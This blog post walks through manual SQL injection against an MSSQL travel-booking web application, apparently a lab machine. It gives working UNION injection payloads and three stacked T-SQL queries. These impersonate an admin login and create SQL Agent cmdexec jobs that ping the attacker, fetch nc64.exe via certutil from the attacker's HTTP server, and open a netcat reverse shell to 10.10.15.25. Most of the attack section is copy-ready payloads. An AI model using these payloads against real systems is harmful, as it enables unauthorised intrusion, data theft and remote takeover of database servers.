Home Manual SQLi On MSSQL [ Creating Jobs With Mssql ]
Post
Cancel

Manual SQLi On MSSQL [ Creating Jobs With Mssql ]

image

> Information Gathering

SQL injection aka SQLi is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior. More information on PortSwigger

On port 80, we can see an amazing web application that’s meant for booking trips. It’s safe to assume that this is a travel agent website where one can book a destination to a desired location. The target website appears to have static webpages except the book-trip.php page. On this page we are presented with a login form which has 3 fields. 1. Destination, 2. Adults & 3. Children.
image

In SQLi, there are few characters that are capable of triggering an error in a database. These characters are *, ', " & a few others. In this engagement, we will use a single ' quote to test all fields. It’s always best to test one field at a time, so let’s put single quote ' in the destination field and capture the request in burpsuite for further testing.
image

Pushing the request to burpsuite forwarder, and sending the request again, we were able to trigger a sql error. From the response in burpsuite, the error displayed is Message: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Unclosed quotation mark after the character string ''. & Message: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near ''.
image

The destination field is vulnerable to sql injection. To further exploit this vulnerability, we need to find the number of columns on the target. In SQL, the query Order by is used to sort the result-set in ascending or descending order.. To accomplish this, we will modify the data in our request destination='+order+by+1+--&adults=1&children=1. Note: we will keep increasing the values till we find the right columns on the target.
image

The target database has 5 columns which can be confirmed from the image above. The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, we need to find one or more columns in the original query results whose data type is, or is compatible with, string data. To test this, we will modify our data destination='+UNION+SELECT+'a',2,3,4,5+--&adults=1&children=1. We will keep testing until the alphabets we submitted appears in the webapp response.
image

We found the relevant columns that are suitable for retrieving string data. We have all that we need now the next step is to start extracting information from the database. For starters, let’s start with the version of SQL server running on the target. We can achieve this using destination='+UNION+SELECT+1,'a',(SELECT+@@version),3,4+--&adults=1&children=1
image

We can further enumerate the target database to retrieve information but it’s unfortunate i won’t dive deep into that. For more information on how to enumerate the database manually, you can check at perspectiverisk. For now, let’s focus on to enable xp_cmdshell on the target.

After trying for some time to enable xp_cmdshell manually, i hit a dead-end. I tried all that i know and also followed the steps on both mssqltips & medium.com as well as few others, i failed. I decided to use the automatic method since i know the injection point, it’s easier to do it with sqlmap.
image

Using sqlmap didn’t do any good. I tried bypassing this feature with some few sqlmap arguments but i still failed. Looking at the screenshot above, sqlmap presented us with this error

1
2
[02:00:34] [WARNING] xp_cmdshell creation failed, probably because sp_OACreate is disabled
[02:00:34] [CRITICAL] unable to proceed without xp_cmdshell


> Creating MSSQL Jobs Through SQLi

The question is “how do we do this?? is it even possible??”?? The answer is YES it is possible have you heard about T-SQL?? T-SQL (Transact-SQL) is a set of programming extensions from Sybase and Microsoft that add several features to the Structured Query Language (SQL), including transaction control, exception and error handling, row processing and declared variables.

T-SQL identifiers, meanwhile, are used in all databases, servers, and database objects in SQL Server. These include the following tables, constraints, stored procedures, views, columns and data types. T-SQL identifiers must each have a unique name, are assigned when an object is created and are used to identify an object.

With this information, i looked deeper into assigning T-SQL identifiers on MSSQL which led to microsoft T-SQL documentation.

To successfully create a job in MSSQL using T-SQL, we need two important arguments. These arguments are [ @job_id = ] job_id or [ @job_name = ] 'job_name' & [ @server_name = ] 'server.

Note: Either job_id or job_name must be specified, but both cannot be specified.


We have all the information we need but another issue pops up. What’s the issue?? how do i create this without any error?? i googled for samples of T-SQL Jobs and i came across this website mssqltips which clearly defines a fully functional T-SQL job. From the sample on this website, i crafted a T-SQL query to test if i can ping my ipaddress .

1
';EXECUTE AS LOGIN = 'daedalus_admin';USE msdb;EXEC sp_delete_job @job_name = N'testping';EXEC dbo.sp_add_job @job_name = N'testping';EXEC sp_add_jobstep @job_name = N'testping', @step_name = N'ping', @subsystem = N'cmdexec', @command = N'c:\windows\system32\cmd.exe /c ping -n 10 10.10.15.25', @retry_attempts = 1, @retry_interval = 5, @proxy_id=1;EXEC dbo.sp_add_jobserver @job_name = N'testping';EXEC dbo.sp_start_job N'testping';--


To identify ping requests, we have to start tcpdump on my attacker machine to filter icmp on ipaddress of our network interface. We can achieve this by typing sudo tcpdump -i tun0 icmp in this case, i am listening on tun0 interface. Send the testping T-SQL request to the target from burpsuite and i received a ping on my machine.
image

If we are able to execute a ping request, then we are two steps away from gaining remote code execution on the target. There are many ways to do this but i will stick to the basic 3:

  1. Create an msfvenom payload, transfer to the target and execute it.
  2. Transfer netcat windows binary to the target and execute that for a rev shell
  3. Use a powershell one-liner to transfer and execute your nishang-tcp-shell script

I will use the second method. First grab netcat windows binary from int0x33 GitHub repo, then craft a new T-SQL job query to transfer the file from your attacking machine to the target machine.

1
';EXECUTE AS LOGIN = 'daedalus_admin';USE msdb;EXEC sp_delete_job @job_name = N'testping';EXEC dbo.sp_add_job @job_name = N'testping';EXEC sp_add_jobstep @job_name = N'testping', @step_name = N'ping', @subsystem = N'cmdexec', @command = N'c:\\windows\\system32\\cmd.exe /c certutil -urlcache -f http://10.10.15.25/nc64.exe C:\\Windows\\temp\\nc64.exe', @retry_attempts = 1, @retry_interval = 5, @proxy_id=1;EXEC dbo.sp_add_jobserver @job_name = N'testping';EXEC dbo.sp_start_job N'testping';--


Start python server on the attacking machine using python -m SimpleHTTPServer port number or the py3 method python3 -m http.server port number then put this T-SQL query in burpsuite and forward the request once again. It worked i got a hit from the target machine. Nc64.exe is transferred to C:\\Windows\\temp\\ directory.
image

All we need to do now is to parse our ipaddress and port number to nc64.exe in order to gain a reverse connection to the target machine. As usual we have to modify our T-SQL query to perform this action. Once done, modify burpsuite data and send request again.

1
';EXECUTE AS LOGIN = 'daedalus_admin';USE msdb;EXEC sp_delete_job @job_name = N'testping';EXEC dbo.sp_add_job @job_name = N'testping';EXEC sp_add_jobstep @job_name = N'testping', @step_name = N'ping', @subsystem = N'cmdexec', @command = N'C:\\Windows\\temp\\nc64.exe 10.10.15.25 445 -e cmd.exe', @retry_attempts = 1, @retry_interval = 5, @proxy_id=1;EXEC dbo.sp_add_jobserver @job_name = N'testping';EXEC dbo.sp_start_job N'testping';--


Whoop Whoop we got a reverse connection to the target machine. I hope you enjoyed the ride and also discovered something new. Kindly subscribe to my YouTube channel for more contents
image.

This post is licensed under CC BY 4.0 by the author.